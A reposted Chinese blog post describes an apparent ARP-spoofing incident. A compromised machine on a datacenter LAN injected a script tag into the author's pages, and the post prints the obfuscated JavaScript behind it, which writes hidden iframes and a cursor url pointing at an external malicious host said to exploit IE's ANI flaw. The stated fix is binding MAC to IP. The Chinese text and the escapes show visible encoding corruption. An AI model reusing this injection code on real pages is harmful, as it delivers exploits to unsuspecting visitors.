|
|
<script src=http://fuck.ns2go.com/dir/index_pic/1.js></script>
于是只能從這段代碼入手，我下載這個js開發(fā)發(fā)現(xiàn)是下面一段代碼：
復(fù)制代碼 代碼如下:
window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x77/x72/x69/x74/x65/x6c/x6e"]("/x3c/x44/x49/x56 /x73/x74/x79/x6c/x65/x3d/"/x43/x55/x52/x53/x4f/x52/x3a /x75/x72/x6c/x28/'/x68/x74/x74/x70/x3a/////x66/x75/x63/x6b/x2e/x6e/x73/x32/x67/x6f/x2e/x63/x6f/x6d///x64/x69/x72///x69/x6e/x64/x65/x78/x5f/x70/x69/x63///x31/x2e/x67/x69/x66/'/x29/"/x3e");
window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x77/x72/x69/x74/x65/x6c/x6e"]("/x3c/x44/x49/x56 /x73/x74/x79/x6c/x65/x3d/"/x43/x55/x52/x53/x4f/x52/x3a /x75/x72/x6c/x28/'/x68/x74/x74/x70/x3a/////x66/x75/x63/x6b/x2e/x6e/x73/x32/x67/x6f/x2e/x63/x6f/x6d///x64/x69/x72///x69/x6e/x64/x65/x78/x5f/x70/x69/x63///x32/x2e/x67/x69/x66/'/x29/"/x3e/x3c///x44/x49/x56/x3e/x3c///x44/x49/x56/x3e");
window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x77/x72/x69/x74/x65/x6c/x6e"]("/x3c/x69/x66/x72/x61/x6d/x65 /x73/x72/x63/x3d/x68/x74/x74/x70/x3a/////x66/x75/x63/x6b/x2e/x6e/x73/x32/x67/x6f/x2e/x63/x6f/x6d///x64/x69/x72///x69/x6e/x64/x65/x78/x5f/x70/x69/x63///x30/x36/x30/x31/x34/x2e/x68/x74/x6d /x77/x69/x64/x74/x68/x3d/x31 /x68/x65/x69/x67/x68/x74/x3d/x31/x3e/x3c///x69/x66/x72/x61/x6d/x65/x3e");
window["/x64/x6f/x63/x75/x6d/x65/x6e/x74"]["/x77/x72/x69/x74/x65/x6c/x6e"]("/x3c/x69/x66/x72/x61/x6d/x65 /x73/x72/x63/x3d/x68/x74/x74/x70/x3a/////x66/x75/x63/x6b/x2e/x6e/x73/x32/x67/x6f/x2e/x63/x6f/x6d///x64/x69/x72///x69/x6e/x64/x65/x78/x5f/x70/x69/x63///x74/x6a/x2e/x68/x74/x6d /x77/x69/x64/x74/x68/x3d/x30 /x68/x65/x69/x67/x68/x74/x3d/x30/x3e/x3c///x69/x66/x72/x61/x6d/x65/x3e")
在google上搜索發(fā)現(xiàn)有人已經(jīng)發(fā)現(xiàn)同樣情況.http://0e2.NET/post/676.html
看了這篇文章之后了解到不是服務(wù)器被黑了,而是服務(wù)器所在的機(jī)房內(nèi)網(wǎng)有中木馬病毒的主機(jī)在搞arp欺騙.
這些木馬捕抓了我的服務(wù)器發(fā)送出來的報文之后,篡改了報文的內(nèi)容,在html頭加入了前面那段木馬病毒代碼.然后再轉(zhuǎn)發(fā)給訪問我網(wǎng)站的用戶主機(jī).這段木馬是針對ie的ani漏洞的,微軟用戶的電腦要趕緊升級打補(bǔ)丁.
最后問題就在于如何讓我的服務(wù)器防止被ARP欺騙.打電話到機(jī)房,技術(shù)人員讓我們將mac和ip地址綁定,問題終于解決.
關(guān)于ARP欺騙相關(guān)知識:
http://zhidao.baidu.com/question/7980952.html?si=1
JavaScript技術(shù)：網(wǎng)站被黑的假象--ARP欺騙之頁面中加入一段js，轉(zhuǎn)載需保留來源！
鄭重聲明：本文版權(quán)歸原作者所有，轉(zhuǎn)載文章僅為傳播更多信息之目的，如作者信息標(biāo)記有誤，請第一時間聯(lián)系我們修改或刪除，多謝。
